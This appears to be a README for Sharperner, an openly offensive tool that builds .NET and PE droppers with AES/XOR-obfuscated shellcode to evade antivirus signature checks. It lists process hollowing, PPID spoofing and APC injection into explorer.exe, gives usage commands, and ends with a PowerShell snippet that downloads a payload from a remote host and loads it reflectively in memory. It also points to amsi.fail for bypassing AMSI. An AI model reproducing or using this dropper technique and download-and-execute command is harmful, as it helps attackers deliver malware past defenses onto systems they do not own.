Sharperner – Simple Executable Generator With Encrypted Shellcode

Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.

Features

PE binary

  • Process Hollowing
  • PPID Spoofing
  • Random generated AES key and iv
  • Final Shellcode, Key and IV are translated to morse code 🙂

.NET binary

  • AES + XOR encrypted shellcode
  • APC Process Injection (explorer.exe)
  • Random function names
  • Random generated AES key and iv
  • Final Shellcode, Key and IV are translated to morse code 🙂

Usage

/file       B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Suggestion

To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()

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